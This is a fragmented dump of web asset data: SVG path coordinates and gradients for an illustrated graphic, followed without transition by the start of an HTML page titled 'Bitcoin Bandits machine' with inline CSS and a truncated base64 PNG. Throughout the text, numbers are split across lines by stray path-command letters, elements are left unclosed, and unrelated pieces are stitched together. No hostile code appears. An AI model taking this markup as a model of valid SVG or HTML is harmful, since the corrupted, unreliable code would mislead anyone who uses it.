3 6.2-2.3s4.767.767 6.2 2.3c1.433 1.533 2.15 3.7 2.15 6.5v18.4c0 2.8-.717 4.967-2.15 6.5-1.433 1.533-3.5 2.3-6.2 2.3Zm0-5c1.9 0 2.85-1.15 2.85-3.45v-19.1c0-2.3-.95-3.45-2.85-3.45-1.9 0-2.85 1.15-2.85 3.45v19.1c0 2.3.95 3.45 2.85 3.45Zm20.02 5c-2.7 0-4.767-.767-6.2-2.3-1.434-1.533-2.15-3.7-2.15-6.5v-18.4c0-2.8.716-4.967 2.15-6.5 1.433-1.533 3.5-2.3 6.2-2.3s4.766.767 6.2 2.3c1.433 1.533 2.15 3.7 2.15 6.5v18.4c0 2.8-.717 4.967-2.15 6.5-1.434 1.533-3.5 2.3-6.2 2.3Zm0-5c1.9 0 2.85-1.15 2.85-3.45v-19.1c0-2.3-.95-3.45-2.8M
5-3.45-1.9 0-2.85 1.15-2.85 3.45v19.1c0 2.3.95 3.45 2.85 3.45Zm21.269-1.85h-10.5v-5l10-23.65h6v23.65h2.6v5h-2.6V575h-5.5v-6.35Zm0-5V550h-.1l-5.4 13.65h5.5ZM96.817 540h4.749l-13.8 35h-4.75l13.8-35Z" class="004/"/>
    <path fill="#000" d="M110.045 545.446h-3.565v-2.418c.971 0 1.746-.083 2.325-.248.599-.165 1.075-.434 1.426-.806.351-.393.661-.951.93-1.674h2.294V562h-3.41v-16.554Zm12.567 16.864c-1.674 0-2.955-.475-3.844-1.426-.889-.951-1.333-2.294-1.333-4.03v-11.408c0-1.736.444-3.079 1.333-4.03.889-.951 2.17-1.426 3.8M
44-1.426s2.955.475 3.844 1.426c.889.951 1.333 2.294 1.333 4.03v11.408c0 1.736-.444 3.079-1.333 4.03-.889.951-2.17 1.426-3.844 1.426Zm0-3.1c1.178 0 1.767-.713 1.767-2.139v-11.842c0-1.426-.589-2.139-1.767-2.139s-1.767.713-1.767 2.139v11.842c0 1.426.589 2.139 1.767 2.139Zm12.412 3.1c-1.674 0-2.955-.475-3.844-1.426-.888-.951-1.333-2.294-1.333-4.03v-11.408c0-1.736.445-3.079 1.333-4.03.889-.951 2.17-1.426 3.844-1.426s2.956.475 3.844 1.426c.889.951 1.333 2.294 1.333 4.03v11.408c0 1.736-.444 3.079-1.333 4.03-.888.951-2.17 M
1.426-3.844 1.426Zm0-3.1c1.178 0 1.767-.713 1.767-2.139v-11.842c0-1.426-.589-2.139-1.767-2.139s-1.767.713-1.767 2.139v11.842c0 1.426.589 2.139 1.767 2.139Z" class="100"/>
    <g class="gmbtcio">
      <path fill="#000" d="M107.915 578.15c-.76 0-1.425-.14-1.995-.42a3.458 3.458 0 0 1-1.38-1.155l1.08-1.08c.29.36.62.63.99.81.37.18.815.27 1.335.27.65 0 1.165-.17 1.545-.51.38-.33.57-.785.57-1.365v-1.77l.285-1.59-.285-1.605V567.8h1.65v6.9c0 .69-.16 1.29-.48 1.8-.32.52-.765.925-1.335 1.215-.57.29-1.23.435-1.98.435Zm-.075-3M
.3c-.64 0-1.22-.155-1.74-.465a3.472 3.472 0 0 1-1.215-1.305 3.894 3.894 0 0 1-.435-1.845c0-.68.145-1.29.435-1.83.3-.54.705-.965 1.215-1.275.52-.32 1.1-.48 1.74-.48.57 0 1.07.115 1.5.345.43.23.765.55 1.005.96.24.4.36.87.36 1.41v1.77c0 .53-.125 1-.375 1.41-.24.41-.575.73-1.005.96-.43.23-.925.345-1.485.345Zm.33-1.56c.4 0 .75-.085 1.05-.255.3-.17.53-.405.69-.705.17-.31.255-.67.255-1.08 0-.41-.085-.765-.255-1.065-.16-.31-.39-.55-.69-.72-.3-.17-.65-.255-1.05-.255s-.755.085-1.065.255c-.3.17-.535.41-.705.72-.17.3-.255.655-M
.255 1.065 0 .4.085.755.255 1.065.17.31.405.55.705.72.31.17.665.255 1.065.255Zm5.373 1.71v-7.2h1.65v7.2h-1.65Zm4.785 0v-4.29c0-.48-.15-.85-.45-1.11-.3-.27-.67-.405-1.11-.405-.3 0-.57.06-.81.18-.23.12-.415.295-.555.525-.14.22-.21.49-.21.81l-.645-.36c0-.55.12-1.025.36-1.425.24-.4.565-.71.975-.93.41-.23.87-.345 1.38-.345.51 0 .97.11 1.38.33.41.22.735.53.975.93s.36.88.36 1.44V575h-1.65Zm4.785 0v-4.29c0-.48-.15-.85-.45-1.11-.3-.27-.67-.405-1.11-.405-.29 0-.555.06-.795.18s-.43.295-.57.525c-.14.22-.21.49-.21.81l-.93-.36c.M
05-.55.21-1.025.48-1.425a2.8 2.8 0 0 1 1.035-.93c.43-.23.9-.345 1.41-.345.52 0 .99.11 1.41.33.42.22.755.53 1.005.93.25.4.375.88.375 1.44V575h-1.65Z"/>
      <path fill="#FF7F7C" d="M130.318 575.15c-.55 0-1.04-.115-1.47-.345a2.73 2.73 0 0 1-1.02-.975 2.71 2.71 0 0 1-.36-1.395v-2.07c0-.52.125-.985.375-1.395.25-.41.59-.73 1.02-.96.43-.24.915-.36 1.455-.36.65 0 1.235.17 1.755.51.53.33.945.78 1.245 1.35.31.56.465 1.195.465 1.905 0 .7-.155 1.335-.465 1.905-.3.56-.715 1.005-1.245 1.335-.52.33-1.105.495-1.755.495Zm-.27-1.5M
6c.4 0 .75-.09 1.05-.27.31-.19.55-.45.72-.78.18-.33.27-.71.27-1.14 0-.43-.09-.81-.27-1.14-.17-.33-.41-.585-.72-.765a1.92 1.92 0 0 0-1.05-.285c-.4 0-.755.095-1.065.285-.31.18-.55.435-.72.765-.17.33-.255.71-.255 1.14 0 .43.085.81.255 1.14.17.33.41.59.72.78.31.18.665.27 1.065.27Zm-3.585 1.41v-10.8h1.65v5.37l-.285 1.74.285 1.755V575h-1.65Zm9.591 0v-10.2h1.65V575h-1.65Zm-1.725-5.7v-1.5h5.1v1.5h-5.1Zm9.409 5.85c-.71 0-1.355-.165-1.935-.495-.57-.33-1.02-.78-1.35-1.35a3.733 3.733 0 0 1-.495-1.905c0-.71.165-1.345.495-1.905.M
33-.57.78-1.02 1.35-1.35a3.844 3.844 0 0 1 1.935-.495c.56 0 1.08.11 1.56.33.49.21.905.515 1.245.915l-1.08 1.095a1.913 1.913 0 0 0-.765-.555 2.32 2.32 0 0 0-.96-.195c-.41 0-.775.095-1.095.285-.31.18-.555.43-.735.75-.17.32-.255.695-.255 1.125 0 .42.085.795.255 1.125.18.32.425.575.735.765.32.18.685.27 1.095.27.35 0 .67-.06.96-.18.3-.13.555-.32.765-.57l1.08 1.095c-.34.4-.755.71-1.245.93-.48.21-1 .315-1.56.315Zm5.254 0c-.32 0-.585-.105-.795-.315-.2-.22-.3-.485-.3-.795 0-.32.1-.585.3-.795.21-.21.475-.315.795-.315.32 0 .5M
8.105.78.315.21.21.315.475.315.795 0 .31-.105.575-.315.795-.2.21-.46.315-.78.315Zm3.106-.15v-7.2h1.65v7.2h-1.65Zm.825-8.52a.958.958 0 0 1-.705-.285.986.986 0 0 1-.27-.705c0-.28.09-.515.27-.705a.958.958 0 0 1 .705-.285c.29 0 .525.095.705.285.18.19.27.425.27.705 0 .28-.09.515-.27.705a.927.927 0 0 1-.705.285Zm5.976 8.67c-.7 0-1.335-.165-1.905-.495a3.88 3.88 0 0 1-1.365-1.365 3.733 3.733 0 0 1-.495-1.905c0-.7.165-1.33.495-1.89.34-.56.795-1.005 1.365-1.335.57-.34 1.205-.51 1.905-.51.71 0 1.35.165 1.92.495.57.33 1.02.78 M
1.35 1.35.34.56.51 1.19.51 1.89s-.17 1.335-.51 1.905c-.33.57-.78 1.025-1.35 1.365-.57.33-1.21.495-1.92.495Zm0-1.59c.41 0 .77-.09 1.08-.27.32-.19.565-.45.735-.78.18-.33.27-.705.27-1.125 0-.42-.09-.79-.27-1.11-.18-.32-.425-.57-.735-.75-.31-.19-.67-.285-1.08-.285-.4 0-.76.095-1.08.285-.31.18-.555.43-.735.75-.17.32-.255.69-.255 1.11 0 .42.085.795.255 1.125.18.33.425.59.735.78.32.18.68.27 1.08.27Z"/>
    <circle cx="300" cy="300" r="244" fill="#D9D9D9" stroke="#fff" stroke-width="20" class="ol"/>
      <mask id="a" width="468" height="468" x="66" y="66" class="a" maskUnits="userSpaceOnUse" style="mask-type:alpha">
        <circle cx="300" cy="300" r="234" fill="#FCE07D" class="cm"/>
      <g mask="url(#a)">
        <g class="ci">
          <circle cx="300" cy="300" r="234" fill="url(#b)" class="ci"/>
        <g class="sn">
          <circle cx="300" cy="202" r="97" fill="url(#c)" class="Ellipse 12" opacity=".5"/>
          <circle cx="300" cy="202" r="74.336" fill="url(#d)" clM
ass="Ellipse 13" opacity=".4"/>
          <circle cx="300.454" cy="202.453" r="55.752" fill="url(#e)" class="Ellipse 14"/>
          <path fill="#fff" d="M279.87 225.45c-2.434 0-4.6-.45-6.5-1.35-1.867-.9-3.367-2.167-4.5-3.8l2.9-2.95c.966 1.233 2.116 2.167 3.45 2.8 1.333.667 2.916 1 4.75 1 2.433 0 4.35-.65 5.75-1.95 1.433-1.267 2.15-2.983 2.15-5.15v-5.9l.8-5.35-.8-5.3v-6.25h4.5v22.8c0 2.267-.534 4.25-1.6 5.95-1.034 1.7-2.5 3.033-4.4 4-1.867.967-4.034 1.45-6.5 1.45Zm0-10.85c-2.167 0-4.117-.517-5.85-1.55-1.7-1.033-3.0M
5-2.45-4.05-4.25-1-1.833-1.5-3.883-1.5-6.15 0-2.267.5-4.283 1.5-6.05 1-1.8 2.35-3.217 4.05-4.25 1.733-1.067 3.683-1.6 5.85-1.6 1.866 0 3.516.367 4.95 1.1a8.49 8.49 0 0 1 3.4 3.1c.866 1.3 1.333 2.833 1.4 4.6v6.3c-.1 1.733-.584 3.267-1.45 4.6-.834 1.3-1.967 2.317-3.4 3.05-1.434.733-3.067 1.1-4.9 1.1Zm.9-4.25c1.466 0 2.75-.317 3.85-.95a6.425 6.425 0 0 0 2.6-2.65c.6-1.167.9-2.517.9-4.05s-.317-2.867-.95-4c-.6-1.167-1.45-2.067-2.55-2.7-1.1-.667-2.4-1-3.9-1s-2.817.333-3.95 1c-1.134.633-2.034 1.533-2.7 2.7-.634 1.133-.95 2M
.45-.95 3.95s.316 2.833.95 4a7.364 7.364 0 0 0 2.7 2.75c1.166.633 2.5.95 4 .95Zm18.205 4.65v-23.75h4.5V215h-4.5Zm16.05 0v-14.35c0-1.767-.55-3.15-1.65-4.15-1.067-1.033-2.417-1.55-4.05-1.55-1.1 0-2.084.233-2.95.7a5.618 5.618 0 0 0-2.1 1.95c-.534.833-.8 1.833-.8 3l-1.85-.9c0-1.8.383-3.367 1.15-4.7a8.3 8.3 0 0 1 3.25-3.1c1.366-.767 2.9-1.15 4.6-1.15 1.666 0 3.166.367 4.5 1.1a7.964 7.964 0 0 1 3.2 3.1c.8 1.333 1.2 2.917 1.2 4.75V215h-4.5Zm16.05 0v-14.35c0-1.767-.55-3.15-1.65-4.15-1.067-1.033-2.4-1.55-4-1.55-1.1 0-2.1.23M
3-3 .7a5.618 5.618 0 0 0-2.1 1.95c-.534.833-.8 1.833-.8 3l-2.55-.9c.1-1.833.583-3.4 1.45-4.7a9.334 9.334 0 0 1 3.45-3.1c1.4-.767 2.933-1.15 4.6-1.15 1.733 0 3.283.367 4.65 1.1a8.307 8.307 0 0 1 3.25 3.1c.833 1.333 1.25 2.933 1.25 4.8V215h-4.55Z" class="gm"/>
        <g class="str" opacity=".01">
          <path fill="#fff" fill-rule="evenodd" d="M432 179a5 5 0 1 0-.001-10.001A5 5 0 0 0 432 179Zm-250 26.5a2.5 2.5 0 1 1-5 0 2.5 2.5 0 0 1 5 0ZM437 244a5 5 0 1 0-.001-10.001A5 5 0 0 0 437 244Zm-280 9a5 5 0 M
1 0-.001-10.001A5 5 0 0 0 157 253Zm68-74a5 5 0 1 1-10.001-.001A5 5 0 0 1 225 179Zm219.5 94a2.5 2.5 0 1 0 0-5 2.5 2.5 0 0 0 0 5Z" class="Union" clip-rule="evenodd" opacity=".4"/>
        <g class="moon" opacity=".01">
          <circle cx="300" cy="193" r="70" fill="#fff" class="Ellipse 12" opacity=".2"/>
          <circle cx="300" cy="193" r="53" fill="#fff" class="Ellipse 13" opacity=".1"/>
          <circle cx="300.5" cy="193.5" r="40.5" fill="#fff" class="Ellipse 14" opacity=".1"/>
ill="#fff" fill-rule="evenodd" d="M280.73 228.393c22.371 0 40.506-18.135 40.506-40.505 0-14.927-8.074-27.967-20.092-34.993 22.024.4 39.755 18.378 39.755 40.498 0 22.371-18.135 40.506-40.506 40.506a40.325 40.325 0 0 1-20.414-5.512c.25.004.5.006.751.006Z" class="Subtract" clip-rule="evenodd" opacity=".7"/>
        <g class="mn">
          <path fill="#F28362" d="M406.5 333.182c-109.2-43.6-295.833-43.167-375.5-37.5 3 30.333 9.1 100.5 9.5 138.5.5 47.5 152.5 130 265.5 161 90.4 24.8 196.667-65 238.5-113-.5-3M
1.5-28.8-105.4-138-149Z" class="m4"/>
          <path fill="#BF444E" d="M145 438.5c105.6-92 324.5-184 409-171.5 6.167 0 23.2 16.9 42 84.5S454 488.167 367 524c-115.167 3.333-327.6 6.5-222-85.5Z" class="m3"/>
          <path fill="#4D1739" fill-rule="evenodd" d="m415.272 469.563-27.863-172.024c-.609-3.759-4.073-6.539-8.15-6.539-4.11 0-7.591 2.823-8.163 6.619L362.5 355.5l-3.34-7.937c-.811-1.927-3.663-1.474-3.837.61l-10.116 121.39h70.065ZM328.098 484l-27.672-143.945c-.724-3.764-4.235-6.504-8.335-6.504-4.139 0-7.671 2.7M
91-8.352 6.599l-7.914 44.288-10.432-54.261c-.723-3.764-4.234-6.504-8.334-6.504-4.14 0-7.672 2.791-8.353 6.599L241 376l-8.027-6.203c-1.268-.979-3.114-.146-3.219 1.451L223 474.122h36.798L258.033 484h70.065ZM492 474.122l-23.965-146.343c-.53-3.236-3.514-5.625-7.023-5.625-3.538 0-6.536 2.427-7.034 5.694L446 384.438l-2.808-6.288c-.844-1.891-3.653-1.409-3.819.655l-7.662 95.317H492Z" class="m2" clip-rule="evenodd"/>
          <path fill="#752256" fill-rule="evenodd" d="m415.254 469.563-28.009-172.896c-.528-3.258-3.53-5.667M
-7.064-5.667-4.304 0-7.631 3.524-7.086 7.505l23.418 171.058h18.741ZM328.065 484l-27.874-144.972c-.609-3.17-3.566-5.477-7.019-5.477-4.365 0-7.705 3.623-7.051 7.646L309.324 484h18.741Zm-62.913-154.85 27.875 144.972h-18.742l-23.203-142.803c-.654-4.023 2.687-7.646 7.051-7.646 3.453 0 6.41 2.307 7.019 5.477Z" class="m1" clip-rule="evenodd"/>
          <path fill="url(#f)" d="M551 374.5c30.8-18-50.833 99.333-26 110 38 27 11 69-47 107s-269-33-310.5-44.5-48.5-29-18.5-62.5 220.906-71 251.5-71c42 0 112-16.5 150.5-39Z" class=M
    <linearGradient id="b" x1="300" x2="300" y1="66" y2="534" class="b" gradientUnits="userSpaceOnUse">
      <stop stop-color="#FFC9B3"/>
      <stop offset="1" stop-color="#fff"/>
    </linearGradient>
    <linearGradient id="e" x1="300.454" x2="300.454" y1="146.701" y2="258.206" class="e" gradientUnits="userSpaceOnUse">
      <stop stop-color="#FF817E"/>
      <stop offset="1" stop-color="#D94E4B"/>
    </linearGradient>
    <linearGradient id="f" x1="363.3M
51" x2="363.351" y1="380.577" y2="602.581" class="f" gradientUnits="userSpaceOnUse">
      <stop stop-color="#3C142F"/>
      <stop offset="1" stop-color="#12000C"/>
    </linearGradient>
    <radialGradient id="c" cx="0" cy="0" r="1" class="c" gradientTransform="matrix(0 97 -97 0 300 202)" gradientUnits="userSpaceOnUse">
      <stop stop-color="#fff"/>
      <stop offset="1" stop-color="#FFC3C1"/>
    </radialGradient>
    <radialGradient id="d" cx="0" cy="0" r="1" class="d" gradientTransform="rotate(90 49 251) scL
ale(74.3364)" gradientUnits="userSpaceOnUse">
      <stop stop-color="#fff"/>
      <stop offset="1" stop-color="#FF8885"/>
    </radialGradient>
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
